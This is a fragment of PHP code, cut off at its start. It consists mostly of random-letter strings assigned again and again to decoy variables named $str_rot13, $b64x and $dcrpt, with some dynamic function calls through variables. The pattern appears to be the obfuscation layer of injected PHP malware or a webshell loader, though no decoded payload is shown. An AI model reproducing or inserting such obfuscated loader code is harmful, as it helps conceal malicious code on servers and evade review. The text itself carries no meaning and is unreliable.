RnmpHQxDKVTlhKNMHZtwHnENUlcRHJvXwHlcWheGdXSkIFXOdPkLCnyxZBNGJhEeOpgKxKQZ';
$str_rot13='qegOtzwsSICJUsXAukduBqmNMeYhXOvNsBaKaxcseEAYVxYOhBhIRvUcYTkwgeiyFihFeJXImxgHuevBecIvWCyUUhqalXXQGFwKnStaOzHhcCIgdPCZsZTLgJMsGihlNcWbupbimhPpiXvlMWKdvdpBMasRiZdwbzxVmXdzESNNphybEIEYLSZWsrNaPqwROsMappzSGLeVtcwWjZuusSqJJCJySeOGwZgjneCuQGpihjEriXKAqzJYbsVTWKYRJEbxJDQzIEHqNkGvHQvwpdTPvPhQzGIHjidSLtrSWxhignEndYJRbcHVROMPTTVdbzVlRMdnilwPYzCbxksXMYtDmERfxNIXlEicPLPxwlluKNUH';
$b64x='nlRbOzcAtLxUlwagAbNDffXFaXunzlplyFNLdPKVZhPkcQrcRDexIBbhyUvwfjIcOvOsJymIecsHsJJILNETneakYVGeeNGshuiqswXVXqCOyKwIxABjEbTDWAgAmMRUGajXVHSswUftEaaBAbKeCEgXDmxpYNidmSahztzumdMQeMrEmBhOEnLgZHvyvdBHVCpTUmmGrywUjmXxNfKrSVWSCQqWTQdnRRGkdSQTqMmZYkVkPeBgZWYCMNXGdAturZFURUmHGAfdjanyEndEjcfWpCbRculttqMKjZQqYVtHvHEYUHCeigAXJBOLUzDnOPXynmNlhfsblVZGbbjkhJhqjvAdUDQhsmFFzsqfXggiBGOCHXlnftEpnDShfhpWvuBtLqzIwerWKEYrbjegchVqKmWquKlndmgPCeWyiMutQsiRCmxduRtedpuXYeKCrQrtUMQDYjVObdFcQBfjtXNVlGSJLDkBSaTmmJpktjyuMcVCcAlvxYQheIQPKBqDaJpmsDWKluDXVXZYxKSTIIalQraARQCrYQEqtZAETCbOAAlWjEQrLQDBGcBxsCOqSRGkqFpigPXfOIcXLsNxHqxnSxKjZXARnFBEJpMPDivrrxnbOBXUqvhhRssqprGcvhfdVRszAMPqIDQVdOQtIXBzpspdhUfCBkexBwvAIjpqMflpTbIByIzNzmqGHUHhELdEGXeNhSDtXOIqpPqlWpYvBNAhHgPkrsPwqtjxklpIZwXNkNYgbxBCJAKrGYawqpSFgBBRMQzklVxWIvcirdLaDUQJSqeHFWmkWNbIcZspvOkCJMLZpwzSPpageeNJBZTxmvFpuWDOLmruZbSnWsFLfeRjjdsjdLGPfKdYHgNRSDkRdcFzTJJzOZIxcaGFkLuqwXNcdZtVCDmeerDyZlWmkEJNdOsnAMcVJQxlPPGRRSvvIYSIJOuuSDgvryiqJkKsAGcPUJfLaAGJyyQHMjadlGyDdGsNrcEQIHeDPjNPKtyHrNnCXNFItckWicJzeMOlSTnHcbxlTuTJhGkEupllRWhZYqyCcLNUEbbgCXsvrkEXRnBKDmVuiDSGSPhUAupEvqKWmbRcmvADIamKMHDujUZcJGwJajmvYWRKXhNJCmlJMXTYFVsnQsPzxLhxUustqicNPpwQBIzNeRLJNCxDtlBQWJmrCdJsLLEAaZqagpmlfxUsZrUscVHYdUOFXxwiiZIIZYIFmvQRRkjQaDIcXpBaIpGfMBnuBVBZtIEecvWUeFjeHrhFfhFNwKsHLealAaKSJNxLHteLxpQDexHjEMxZVOgGtgRSHajqOGavYfgUTwXxSEHwPDULQariHIanIkDVQcrpHWIZRexJJDEXFXIvyZdeHdRONTKdvARcVYbMdXUlAXieURZRqcvWFljSETvZtlbNJCzlASWzPFdjVcAkEVGigPakJvjBfKOPlMAkFxKTbmCWOcgsXlZDaaNiUwjafXpsJnbNKkHkxIgkKMbgXbjyBwGvSPUXlIOVWQhfanrXWWhfJJMfKVDKrJeiXzGjGuECJLhKZXgvTNAbwLHFGJpxsTeqRKzxECzmmGwLDCfVqfXkQEQWmEtexWuNHskkTiWFOtrQuVLJAhurkjMXNEbKAUWglgQEONICFyRyucHTJaJUjURwysFylCdWhUZWgHXkFPIYRprZpATXujusByPlZSHhlfDRNAbRpjPFXFFmEXJYhCPhadTzvAGHGiySJZJxIXCFCGRgDaEKCSsbVkBqKgwPPuHXSPTAMveOawuEwXNxpEzjOZYzFvNTnvQfjjFwEJjeeDhZZuxnYVWMuuKYOysBsHGaQKVUueYXgFxFYTswnNiHhsevPVWGDbgtMbmFgKCMOYRNriidWQjDipXxjTDlVJFgKrLqBMcpktBBBjeWznzgCWElPGWjpBPYsAOsMq';
$dcrpt='KGfGlrUeREbBWPwStjQHX';
$str_rot13='OffQNIRUuMjCsIMFxBJepWOpYHVLMYKAeqPrxfkRRTtIBEnxEWaSsPGrVBbIAkHdZxuxCdNTWfBWinSMjTdbIJscJSjICRLCNEyOHkHDPIYXvRJFKMfRUxTcOdLquVrgZOUGybJmiHjDXsHHDMXxIrAwTKMmeCtdrMKnmSBvYjyWCeDerabYraUjKGwnhnsX';
$b64x='xKWvCyEgGYzxbHpKeyjtmmTsOqpqmJeitADuXHAceyAfenpJkYBWKunXJcmvLQEEPGXNmXprvnVZBKhkhIgrbUnjWZegphKdmhqAeFqYSLXuUEdBlKRmEeWZDafRHqUTxkSaPIygtwZMzdmLNdxrHtPjSUazJuSfdKFssdzjYyVxaHhNjFDQxszqMznvtfawQFnHIMRfJlDKtKxCOASlrracqnXITXDJbQPKbfpLRRvjbrkpQcAhuZjJnGQGDtpFJDOKJcvAuPivgtJWVJDpImxvSmawFOAnsnyAPSziIHcnzMJuUmhCYExQQxlVLkICXfbNYAvfgySeJBzcmGdkKAbAxMUhXDJuIKgfJbkPYctHdRJqXMaHMbGimBPJdXdkgJrPKBdIdwOgNWVjiVqUwVCJVQsYNUJtEZhNZKwcfJIsGEBnYQHvlIdgyUFKPnctmjfltaOXjwqpzqCygIsRqvXNOCxDPYvBHaNZaaWJVLXvbzsHgJyVDvIrxEuLbOmIOZHpzdXuOvnpteVZmtUPncGjfZUhmgPbFWPdzlymGLbZQWYcPssCuxLAwegIlviQQxupJRbObcmrYKTmcKOwgYvCdBJpwsElnXBWnCkPdxfBhyOJhCEnaZpdZyRvPvgcSHzfIiULFALlXzufBYtBxhdVFUrTpWvgDTMKBfUGFFRDelIFJAFfHIalCQEqMZWOsIyTNsztXPvbACfibjniROTSEyhQxDEOkCHyTFqQvKrUlVdMeQUvEOmIlUyIxBVhccFwHULbdcWpxzabpvwtiiauCXByXVFaXJwFcgffIBTFZuGOOBgwiGpKDpIZjMZhwUlXBrDISVmRpseCtkxBQLLSZtsJEQQzLbxLRZSJuFaiWeKpPHqesaxRSOAVEPvOqRzgqRqJwPRRTbGhIVmzvJqMxpHAdbpSsmZHdOQzDgrVHwdprqnkycWuscTUehNVUlcXzSWbymwfIzuynghLjdEBFyUiegeYRgwqYsQVdmakLUIzapJjsnjwkeFpkJNcPIs';
$dcrpt='ivpPdTADvlEitQzMxBtHhfWfBnUkjbyswmhzfgBZSEhKufwqGPxNuttVfMFpNcGiOmguugtlKBvEfQtMePzYhRtmcXaPzHxntcHMIzxtzRwFhOrLEpikGBXIyXXXduKxxrIEpFWOVRtCfiNixVtCxPkumhrqaalWQuBFyWttOkvtthBpcTRYiBtvhijhJVEYpeDlaVdnFyGxFgMhAcFIcXcjGLQpGumUXQfykjLQgRmlXytWZxEbvfKaRaOxTaRRQwpBezrlqcxNapJZLNBFSkeiKSfETWUisiJxgzhxCEJCssacEBIxMMeVejzXFSfXApTHNadOdMqvDrWhRddcqHyuRWrwpVSOjkvXKXLNiBHMrEtHgVjwCHptcepraGfJRAfByrOfRvrHyJneExZgDpYGtMWSSbbJbgJYxWdNRvupDhSHdSmHgKmYxIrOjsWKXFIvCkHSeBghIzOkraRWKDuGLKuUBqEzvLtwvZnAZTHgsUsIUIddlyKwhDqiTtHnDZiXywWXOcdgWvnQDsUOpdJVGYdzQKltiTqgpMddOGJLBwadmurBxZxdXAbmKNFSGuyvfBXUhGehbekOYBpvALXWLzivlmMRGkLlkIFRnJYPmiDKJrfICCdmaLglXSDdcnOnWtEJBDXmLZXUrCbSdfEEqjPnbRQEfErBwUJwxHIIGebwfcNjHrNXAbKbTAeyDvyYOgTLmBStfTOkVCTDsfAsHjSAiWxLQUidAbOmbGFGztrUujxlPwDwFUvmQRxGkFijfXwGcambTcVMlsXamZVrTqDiGZnQdxAiuVnVwZWpbRanIyNUWJkQyNYelmupJTWCPkxKjTYlKyYtvLMsTXhsjFVwrpjzIgAWrXGAqELZBiRWUEnmaUdjYYePNOnvUOrkkWjAZvYADQVWTIjTbMCaLgPXUCsOqhyZdHYCBXBemxafEJYGwAGGfUDZwuNlaKKDRJesfFVsBwxfeULZuQeAjgYeZlPZVACMIGENLzEluaQYUaXNqCMYILdIWSHrRjDYpgLZeOLYnaWhBtvQUGpDQsKMJQDBZfzOLKmpXXmlyiSYbmnVtCXitHvcyXcWCajMjxahTNtrvkOwXcsqdOyxwSztpaOQaYCkvcsnPjejTS';
$str_rot13='ETDWGhzXJYPeRbVscRzzyKwztZCMeOsIHudMCCJkaXPRZjiBaHzyQuwiuXUXkLFrfhdgilQijFzIPgiPNINDBilUGfRQrVhwCkbLVRtexSMLYvZlcMncVzXaenQvJxqkgrVchOgdftndNnOpZcruaNTebKzKGnUNEqpldUOimcLzqZNObEIbrBGsKEBrSVDVKrGmkvUXxewldjZENgGDILVRpVHGQjCZZhlkCfhykDJNlJsyPxbWhwOwrvCHedfDKsNMWUjGXTuIbLgqhhMOcAjtuLzXnFBYwNjshtYeLRMMbsCiznWBNFuGQsdDWdaRQjjXDHBnXNAYebgdpCdBGWGVpJzKlYCcikzkRayONxlrXsTLtXlyTsuHAssMqtOXDmhTMfgYCsqAiiKaFWyYNrFmhwYXOlUQ';
$FmJTMG = $XnvMwSjR;$b64x='TfDgFSaOjutxphtfCQrpSInwQPtmbFhujKBPCackuwHhcAMdqdsHkFdAuwmUaupkePzfparJVxQXWDaMfstqwVqPrCKRVyBzmzFBYVJURZrOCsAgisVFnkTdlcuhAUGlSKNReVLWUbKVSJbbaxfnHYRTBkAaFFmxqznuuyPpZzJrHLRIhWvnvlGVWFvBkHXZFLSZiINHGwYnGPvmlPaGBGaWLvxvCuugELFNtsTznrMTgggRvGxvlWrwQNQsHJYkUDxmvrLIgWamCgdXlZRXvitlvJcbsaMldiYyYiffFfRgMvDxTvupcNZxwbYmCjYFsWcQEHvillPxfsUZMnNnAMkVNIiORGtICUyFaSnmEciJuCIGQvTPGDLTktHbYaKZUHdvArHDSplmRusgnkVUOfNyXuAVTJunqXIpnpRgcDSTWjzjTvdgZQFXKEsDmMQCiyRVlhbpKtHGbgqVatBZJfWSJpvVALXIinDUUeiFxPKYvZTvSuvaZrShFMDexZlfmPZgthkpwvmRTfLLZfkyxceBPHfLGrQsFPYXwIMscYIWetgDzsAvTEvhLATrriivyGStnEKrCRMfkShiJHcDLWKwxclmLugiZyBNbLDdCpIlGqTqWvsHsBCndOAOHfWHEWTeH';
$dcrpt='tOuyqCgytMPEFFJrGMhIbZEdGDGYIqJaddYTeEQxqeBuKjLqVSxwRAzWdfvkUdlyGJrKmGHcLhwUQGJLzfHPGfMiKgtFJdcPMSzzyFailwcbcLmarTpwyaEiGwmPAOELGCJDHJlSFnuHzfgpyvKVVNDBiPPhctTIvCLbLWtqJMwHRCVOWeKRrmSACHgEAZMUbxvMSNBBZWiqyDeThOkyACxbIEfhcRBdNv';
$str_rot13='JrwXsdlKGVhJqjAqCRiHAzrtAjRCKtctiyPABAjGvQqkzpAAgIHGGXYgGphqhjhqgwQgWzNrPCBnQAOWHvDNRatxPAmWiTlpqBvlaHbPiDCZCPVjjXwAYOxNniiwbujrVdbvLdJTfkSHanqJkLjIzfUlncHpxqfRuglejuXOEqwEDkNNWWVUbPgOSmcpDhFWOqaxJxlmMgrprdCMzxHZlNNdzpRbWwXKLxGTurgfWWvnz';
$b64x='pMMHejJCnIQQYdKFFOMBdgIPLgZmsNZfZlMDUVfhDVXaYHedUqdXwLNgslTiySNWDZAxUFdWZaxXHBAaRDYMOkTfVMNtdAqgzpcSTgpSgLpnLPnbsLnfVgKQsxJUXyAVMDnFJCWpMKCWzqYralVwRflICUbYsbUdEHhMiDaUncqlRnbrYxMpCYwdsXcKYwmbCUNKxmdjOtwegWwEthtUFnYxkAGIvSiwlvfJIIsVamaGjVkCCDxhQUdBTJiNaRimlNvTvMpUZOBiJkjkmfRCzUcRDLdEClQNyKgswvmvImcrxmaJRSkrlNhPXlSzWhLURRlMLyhtjJiGvjOmBzcMLJaIusGrzrkPiVCtuilDRuJMcWyDUAPFIPMchsS';
$dcrpt='ezYXSqkjZyfsbVaWVeYlWLdchOfUqsjUrHRiWCswZWNArOWLsuxneAPlNVGdMpXcVnLspcNpzAnPNjBfEXShWhuJcZlOniRIWbZKdMYbMMRzvRdynwGjDZsFyEtklJSHKSsnEPOPBFpWVsTimzRPXjTUNMeyvXfFPxsSlfImLwIfmBpAAfOxOIsBuwZOSESHajZLqgXACFFOGtNfzCbmjtnDpMQGqJNPsMZHsXgTblgHEulCVnpefbgTmWAbemQxyPDPljhNvnTyHfAbtnfXpLRahrblDrhAFLpRuwEniWLqbKrTXWRLHIkOYlAaCgZhrnyKiBXrxiGYsXRPtIZZPknNwmmySlejYbtgCQyyyDwPZnEsvEsknexJQjGIUKRTLKzMAWkXZflYSQrnThXglupBDViXeAQqjpbiLLfjRQhiGywYetePmTqPOzMsybHgQipaTTjjJQtPpnNSHsITkXhyVuPSUWYjemjxFSHpJzdxMqptHWLrutOOldHFzFPDsYZWrfkZENVrdjijGuazMnmxrtbpyQRPprkewwD';
$str_rot13='kEwSDaPpCJwjmBdISGONCCjDTVNOpcvYfqrIqfxSOSbbSEijkxwlYFOrZBfpcAMhpcqEHlwwdXWvBeekaAVZfJqEJUsLTeThgIMOTHJWEFQFiUpJvkIZTxDDsVNKzfSFNESGkBbpFStnlHWfRdekZhmQCZBafteSWXYGXZuDRMqDTlIKpmunuGevfFvKxYbSvZytZsvqDKSwvBGimZVGfzAKDuuZsvRNvPFTgZiJibFcbkknJftnFSXhlQhclypfmTytsGCZggbhQlUzRmmVEjcpaJRLhfquZNmQtnQZuRgJDBhuNTpRDQfDZWNgCCZapLQgYGfsXMAZmhSzaGqDVVFUrRAstAsHKiOJntAKeaJrhaqhGFkCZPwQHwhZvAgehumvMNFRmnHTpWAubKVaZRqfmyEgxKkEdyyQKcgWQNPEKpXLztkyJBDvygBuRLxuIUJsxPNmDCqmrmxPeHmNhPHevhyLtUfApOSLEFxGHMsxyOlDvXPclWgGdesVyWwMKNWNRStydjUCXFEtCSUNOATsEKMcGhnqUKDM';
$b64x='wMNPcEFWhNaTYLjVbwnfrSAHNKlYjnmeZzUCczXJLxcKileJgROxJNewxPUfcgkCGEDhcArmXtwFEAnjrCfapjVlzPrBwaCBEeIfFYtbQOfTptcFUieJRAUqpkrjLSKpXSvbqNCgBHzpzCuTjyCAxVqMfGVqXfFuXZUmlVSlCsBBtUuCRvBpqQAUVUktzPMwngizbaKERkEjEXkVsMJHbiBXCLqbZBxmHeLJFVMwFqfjMqEDBmjDvjZwvOxTpugwyrECLPYredZqSDSuPBWJKVeEJbyxvdSsuVUFKsVOvUDmWvGkVbtfWWJeXGCRJTJDPDhzuCNOVPARkGBFgTKdPTHmzIdICMkQOROhtavNQvdAAEeGxPiLIQXGXBnYMXOaOchGccSsxVRwzWbvkKGsZcXWDlVPIiPWkwCnyveuPWPpsriCaOTZRQvTBqhjzWFJSGwqaajQWYEnpMPOahNRXijYXsHVNleFRZvsZEHVCKIrwxEVEslbZwzwmfsZQwegvzyvCEPDnytjuXeyOrzNlXIyCzWsUAyPYwJZZXDnvVxPSamGrkSCHazizwZTVWhuRQSRNvEIQAWIAIORSfSzfsgFmFXHBeAtutJgmMncljkLRYbiDugJkmNWRKDSnDKHVSmhEBkPjUZBSBJUuQDECPATYCLleUSzMfHPfrdpkCPCczwVOzYqnyimAtydmQDyVjMAZPOjsELTCGPPeNetLNeKfbNSRqPlYCLXQZgHcrBdxPSBbwtMixVOYJfpYuBXvLulKaSlQSpmggOicGukDqyBYDPwxPtRBmCKmUWcMKqTrDbtivDkKBkhdaEApwRpItZUmvXzEMsUpSmWMQHWrRdTrgTGDjUKCtFpmbNRmeLawYwhncdduHwKNOPPXKAZCEnPeafreQQZnlgBOKEhrArDngtlqSKRVXfZXkPBBFAOqGPdPSKfsbJfHBQWSAmNxtlucAucETRTYfxOXGtqgBUNbKiTjwfGnrzPQSSukiNinjwKpPzwqtiRcRjlmqRZGPnWHfPRNCAAkVkAjJvZccQeTzrFOHEUxsqDxeUKgujrOuqYdKxFNMJGkzLZgOTcfIFcMYMSsvJgPYEsiawVMeawdkvjZNLevPGHOszFNHkbGOSnnnIzRhVUtPDsDNVxDCdQtDvFJGfpTXbHKJFbRAVjPYasLVnNWsDquyUcDARwWSCHChhSgcBVABMLVaySsBHkyaMaADVxVyDWeKOklpgMpsWJsTaiTHtrhFQHhMDcJfYNplxBAcMnvIXMaXvUemklRBsZmVBvAZHPkdPkGayahUlhSGbWtMHjmYIYtjSTizhtbwDHwBgcvtjmyLIQWpaINIffrXYzVFsWA';
$dcrpt='pVkGsADafbMjfizKCsRjICXUyugRySUmOeSFeUFJvQsZyQKZHBiPDFJaYqrWhkivOAZsTdBntSmQiWPpXxdZcmzACPwizEEMDcewgFJzWwqERETnBwmchkCJZYsXbVKexnADsJCnErsvukJUfvWnGzwFWNcXhMBFZbHrjidNzUhTEqmKLjXrhtvdGxANibRHCzxLgayGUeYzvkiFTFVaxqdcmdqUEgbfeyqlXmrsrpQkYyPSCKSYAwblYrfCxggbewmbIDtYrIJOfyGHIYGHTgSrxXStEyuITfJBhCYyjHmPFsVmPaTIgLYDhqwLNptfvCGCdeAMklBpDxBtxTAEdYGlnbwBrpGkQMMtqLeZWfpZCpRyiQblOhWCItCYHhIxtvpIFSIbXwazKrxSGyEveAwNSXkzETvXNiFsbMtYhSXSIujprNiwnEiFBSeeLYByhGQisIGZaDrIwAWNNeIAhQeIIimTHmrOSGwkpbJpeZwAYtmLWUkejqlsXykdkarcHMMvnvisTERSWecTyNXICIzzgJcQJtSPf';
$str_rot13='QNzDxijQvXEiWGwYTMfkSmjbNPJmwAvLMUnjCWZwUDEqIAnBlukDGvESJMeEmZpYtcHUYGrsIuHrTVrFOChTWMLeyPIjnwIGypaxvQncJVScQjHdLnWgZHKXVRGjmnpLcOHxEUYnpRqEawHkJDQJjZffQLOczcmaRtWUnUHCLWGksmUbQjjZiOEYzsbxUNxkgtETNlUyhAiZNcADmibUWGTUxusQgnamgFfTQaQxAyVMBvpmDrgzwzuSSkJZXiLDmrVCQMZPJuCjPQVRGCrbajuTTcsqKcTXSOYIZXyJsZSGpnxVPmwpwPHOrYeBBXytkwBkTYTKxkPLylfMYCbTQhIHglhgieYtAzcSWVbtgQEECJQAKrtByAhdLOjtSIlRgnKdjkVqBztCIibsYTsxuYAeMjXERiwxwFZFpVuPTNrBvRTuLKQEJPhvYezP';
$NhuuBKaxDp = $HcXBhJ("fC58");$sgIcDg="lK";$pJuMYJyGR="LSwAMwZiyAvjKzNlPFEIXLTuyCFyJmvuFQtrMsYjrStarfLFjPNGAGzxHDvPqPiUfakRRIAhBSI";$Wr="NyrxP";$NfPxIKqDtC="PzsaytXbWWZHRAgGZnYGVmMJwZRKmxWBwnCTgYuCUSJkspQQbpVWBIeXHWgTSDvnqwGVuzyNrGXiuNYvbUQcCUzI";$RmQGLkZG = $FmJTMG;$b64x='GmRpeArCsasdErAalKJmHQBeyPsyIKzOWPCBOscFsTIwJHwUseGYuGDrUUPDdNQAbRaPJCTAUBVDhQXYvDxOjZfdtufVgvvhMUwvVpUPpqSVfPUZsQnaPteHljbsexYQQukMhEaVtSQYgjXYZkYncCunlweqscfhwPtcSuXlLOjsxgqxRNjTqEHBzLqQOvxJJqMBiJlTWvKubzqSmzkbCRbaDrqrkNZTCkTKufcqANialXsXWDYyTZYwPnlZALsbVlkprneqamQLkhiGjgddGBzUpkUOVLqqWAFMNJCmvRyeYGKIlnLrOJlcTFrnqfEMFiXSrYEkPbqnHzVtMGJaOuCIYSvOXYZcGWuWvXhjZWxfvRXhxHHLAitzBmMXlLzRgSnBQULpQHTkzRRvXyfxgXvgkGdVrDMyUzyKtIyiqsTnIjhehnBNKwTubWpSYbPTAmctVBaKstXZDeDKRdWbYPvAkKsjkGCKSECmEDWVVtuXXWgnAcpXRKxcunLETmNlqPyusUOMmiKJEQXDTlajvWlOkwRDheOyTMRKGFwsmFBrwytOitxEqiRZEJCMmQJfCAPHEkyrqYHLVzYeSvIHcYGHHhttxbyYamFdXDumBAxxZUarOhXRfcXmJPFgqdeqPjSlMmXMlTIkNIabPXsVZpHJdlptOthdbZpmLMZXFgHSPITdeKyEYeMBQaTEtAHUYwgKhFgMMmdauWdzGbCdfnEVnWZfwfZUBGdIKJUVVXVPuzNzApceCGapczuXETRfYUmIDGdYdYmWWZvVnWapDAcFYVbbOTglmTUqzxnbvZXRYSMLOlZQLbUiwWkkpQVBipQhLDigCGxAyIKLUJCejVNGRxqfMkgVAwckZKQaqMaNvKYOTZScUehlBWQnHWIgtKQRugRjSrwmbuaUttwNWdyXZnkGKslCbcSUIidAAANBtmUleqYBSwysihxszJTZkktSuxsTwETOrNZUCxvUsSlBZIsyQLWaVqspljHHNAUDMuXpQsiIKuIJBZHsKcRfsjuDtBJFaEINxFBMwJufCbpCBvTKxLPPuJRMjBQjeywaCWMYegdfHshhMASJkgydPppYpfIScDSeZFcDLFisxqZiPRrAxODmDSKRxRKYUCcTGEwrjdiGthniyFhUSKGvbrMXHVwBWyuDCqtLtBrlhEuFIaZBKFvlVGIcBdDybxADlSNdudpBghGPhFPsjjDFQKHQnJNpfmrQFdUYGiYMrdayIppszRwObcdpkRcQDtGhVAFBiEMzgmwPBLGzbbMcDQQNHSDJKJRFIwFQzROGdkUEvADVBpydenqkgtUQbLVJGAZfrNLTxeXREANEOKHtXwDDOxTpHOYnNXtEjDxHHuyKtKnhuuARPCudZmsGAPtnlLrwNNcTHZDZjqGDJFTYhnbGZtLAIemTpDpcqQvwQywZNBbWgVUnIvTHmEGUhSOxvCYkttGIQBgdchZiCtVJNnrzrwuzpHviittBkzIBzOEBWciXUDHgQxFhsyGGeApnSgnCFWcEKfEfHNDBqjgGfMNxjSDpsRbJXpkckNGVSjaAwDAllHRQSdNbVPPMfQvCfeEPRJKKtkJnmIYYpPnGsahMpWyumsWRxZGNJrWBaFOmn';
$dcrpt='rxuVJVFXGwyMwHmCgusrEHVJHKxpgjMWgFspAWlFsJQNQdOWWGmAmiItsEHYmSUtxlHWhSBYbslRUzNqezprgwJzZPWlHqedCkzidAHERsvkQHZVfNLMivKHJGsrVwuWHTFjtlNJDHttnRNSEzdltNSbSjsOGljMEOVwzheBOWuBmgSQFWBXitZbbrpgbySFMmakuElHAFhMLAbrwbNETMeVDtbErujcfJMZnXGmCnzNNZdIbqLUcQpeIrIYjrApAMnNJuZLHXyTXaBYPlsRBHVJxdHGTHutthFBaeLHbIZYhAwXknnlUJUrMaweHpXzwCAwfkChTBFAABxkOLwIuPyFPtiWHfUDhuymFaTXaYxaYukMefTXuQCiiKEPqzsxsQiwqCtPAqPyJzJmdbjxRkfzUJnjHffZvpvjqnYPcnMklUxqVfllqQKjAxTGbYewMZebmdqpQBzbUvQPACAPsJyrgQxHPBdaAhClKRZZSXBMsQbRsBfjKdAqTwWhXZiWHKiQaHQSFreWGfnYfSHPVGePcbWzAEvGncxOKMfOCjKhOxFUqlJkSnzupwSOzMUmPQaYCFMDPVjDtPWhAGRRTrkHlCUKpOWDEWaFblHqgRsYGpfFuxxMNgtYiMIxaezEAzJBKqQqgiplxTrqPmbCtTZBFIxFlVJLTRmDgctNKgyGzOVpaWQTPQTUXrziLhtFYFHFhzRrFpXeDSScPIVdXPXuFxCqdvuCZBGGzxXekUImlAqahkeFzBYdxaTBvMCTMhAldWPNqxaBWqbDZFHYfGbDfuDAGetsLscONRaCnadJPeMpitm';
$str_rot13='YXasSNyVVPInnxbewzWEumbnrQvIAWUyuVpLINGcbNqpkrSfpnJIAjvqaqXZlsxemkPuxwwyIklSbdXqrfyqPSGphcnTujXfuNzrIunqeAIfceUTKsizKnNRQAjJJHPCuNsBHGqLfxqHCjALCijlVwCLVlvdSJFlVXlCcBMHYBnZLnKMwtxrOyCiJWlBeqlZMxbOymUVOiuzwdKrVgHidIrNEbNhQZhDVIQSULmItGGOiPEdVKlztblWCYEtxLvttkKMvXvNDAaMqdpKOaigbTCdsfwOQQGIAQvvNpHPnIBDLqnYqVeQpHTGMOTcEZjEPdYCsFrfMsIXgvVVQaLegeKsSDuWbdAQgXRYCIdOzkLFGfAwFKZLnJdgLWcNZbcGYUEZbgNAryEwEDrimquBYWgjSIwsJyXgRafSgTRWQvtTXJCKzvKWrQfIXBZfzwlPVQIBiYyZuqsQytZWNitdyylvzkAXgLMB';
$b64x='awQpWlfjgMHGKAnzTigpRmbzBmrdyubXPrLlCQUJCaOLAcktKrgaEIAEuqgRJHnXXYiYOCgPDvACxjVGaBGEIFHbUNscTFAQchnQKUempeOLNiQNjwQRbxTvJKyCqxRsEFInzlZNPOXDwNqFigWJDpeMYbNNyFfbjmPhXOUNbRqydFCLLyvOMYZkZMXxrCXZnMGlaAYbQnYTsBedyzrKxqUVbrRSTOrgaXsaWPBNcAfvAjXxhNgdCAyDRpUjDlPDIHcEwDQYCwtbFPzmCePdenfvbAEEkSGSzIVvLMtMhknlZlXaqmDuAhOBHRFRKkiITecdqvPWechdnFDdRfWQnLQUbvlkGuTYXvbmqqIuSqyFUaIkGFatPQmqlXBrRTpOnPBDeiXWyUbRuJbZNBsCseScBStsLgGYVgbzOyVMsWDLFektFbuwFLygcqXNwDlrimQXKLJBHLLLpVDUxxPbhnHKDFxzhhPrueNDpVDvfpGvJiOFFDHmqNWtRSRZafPTkbWYWzuBmZVWhiBmMHYBvuTLlKKLQYFAzayUzrwMqQhXZIJkPHkJAeuknEWDCaCBaavzrQKggRdfZlPOSZWRDqbRTXuVxWwxwqwlgfsmxURVffixEenhTPymlrhJMcfhsaTXGKJcFZxjeFHJiuqBINNUduDqVhxNiPKOATqeSlNxQuFynUYVglpJFRYBzVngKxUjqJNiUBFjujgHDEcJPrRvIQvGLIMvEfFUOsChsGrMpWSrAUZqLQjSfEyQLjlpOqICgjizpzKDUCTuWsJgISYNVVdGEOVsdDTJmBhBZrEtTxMppVvwmSiiNLOrziICMalyBSYZJCsCzDqmyKILCqtObgeAPlCaLmyLEwjmyanwcDIBmPLnedbFJFFyqgyASvKwrTiOtwJwzrwkFGzJiZOretpuYlUqHELXXtkPpTKNJfXnkwwtVjKZbytzJMOqQZmmsWBGPltyQQkbLHTGqcFRAyqjJeYYdLKvHlBxxtumiFnULHAAJFQjCgSKKQJNBtHiEHeAayNiCACMgCMQgCzhhrRrgZDhSkqwrTwrriZthBEOCPdIRCpYsgqXFsexbTttMOidwHVcIYQjOTSFUGcllRjRjnnkhfDTTMwOSQRAPHKDaChUHjgTBqKKcxUjDXDViYKaPaBdgkGglmbSVhLwWvfYsAIUWkpeiyexyeAFpFLZRlSNtDIOyONPNviJFxmmvrjSVJWjOhJFtBRlDAZANlOAfWIjTUWNKfFFnbpbiXHayXlAxLajwOiCkQkDKgqvluZZvNacKgdHeOhBYHkvUtwejGgTNwNyqmxjZymjdqQhDxiCdtwYkRCuxJNjEZhtlEDLbPUfEKMghUhkMDIXukQrtDZWcgPnLsYlgSrKcDqjWXTiACfulvKEyJZAQONBfllLdDUfFKOBHIJgJnZUJJXGSwfIksIPDTBgVvLAeZBkgjRPyQiGZFlRaQYKhGAkYAruuBtYATiGdZUaqCfpgQfhGdrmiQxGPmZjOShNLPTnpNNEqSSVIxcNATahJxNzKmhXeOKPDDdRQqvFiMAqicDIVDpdzcCIpietWPHARjQgAlLhxLWGNzNIBcLaENhSVmKsBrRsaHYAsJgPucUGCgNciYCMLKdfWmxxdNndUlclviAnkuUlBgpieqvpZyvvLrROEFryQtJKaJykCsxcXkLcAfrZckumbLaFqQcFIkqItNTVEPXBzhcymuWqdrCeBciQSKvavjINwaIzpfANmCLZvHpYxqcXsLNKvIKPrRDmSKLgPKuCMEBgkpEIEHewssflZpbPfdbxNmdcWWdIAEpjsSrVYwrPNVblJCapFCLsOOTjKWsJZfTrxjMweCKRXkcGMDUrEGisTbadyRMxWenTOZpSayKXJlEvnXMRcUIWvJzSZKPWPcPDBDvBAEziQCdDzpvCIcXcLVvkFjgulvwMxrMWUKFjlINkWhlEJIfUDAehJKbuEWFamswHbAqNHcXDJIGtqlmsLQzUAZndWTdiKYPLzfyfHUiQbnIrzUIKjHdJGrMbJpktMzEkdBQkwyaxkInjbvtkBwtHleIVSSNERrpuseENbdJLLwUlrmVRInyuRGOJyBnOsCiJflVgqdRaAlMqyggGveZlKNVHNiVejdmp';
